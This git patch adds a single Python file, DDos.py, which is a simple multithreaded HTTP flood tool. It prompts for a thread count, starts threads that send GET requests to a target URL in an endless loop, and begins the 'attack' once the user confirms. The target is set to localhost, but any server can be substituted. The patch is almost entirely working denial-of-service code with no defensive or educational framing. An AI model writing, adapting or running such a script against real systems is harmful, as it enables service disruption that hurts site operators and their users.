From 89a5483e782d80fcba676145db654097fc7d395e Mon Sep 17 00:00:00 2001 From: Justus Jan Nico Wolff Date: Fri, 19 Aug 2022 14:57:38 +0200 Subject: [PATCH] =?UTF-8?q?Dateien=20hochladen=20nach=20=E2=80=9E=E2=80=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DDos.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 DDos.py diff --git a/DDos.py b/DDos.py new file mode 100644 index 0000000..4a67261 --- /dev/null +++ b/DDos.py @@ -0,0 +1,21 @@ +import requests +import threading +import tqdm +target = "http://localhost:8080" +activ = False +def attack(target): + global activ + while True: + if activ: + try: + requests.get(target) + except Exception as e: + print(e) + +threads = [] +print("setting up threads...") +for i in tqdm.tqdm(range(int(input("threads: ")))): + threads.append(threading.Thread(target=lambda: attack(target)).start()) +if input("do you want to start the attack now? y/n: ") == "y": + activ = True +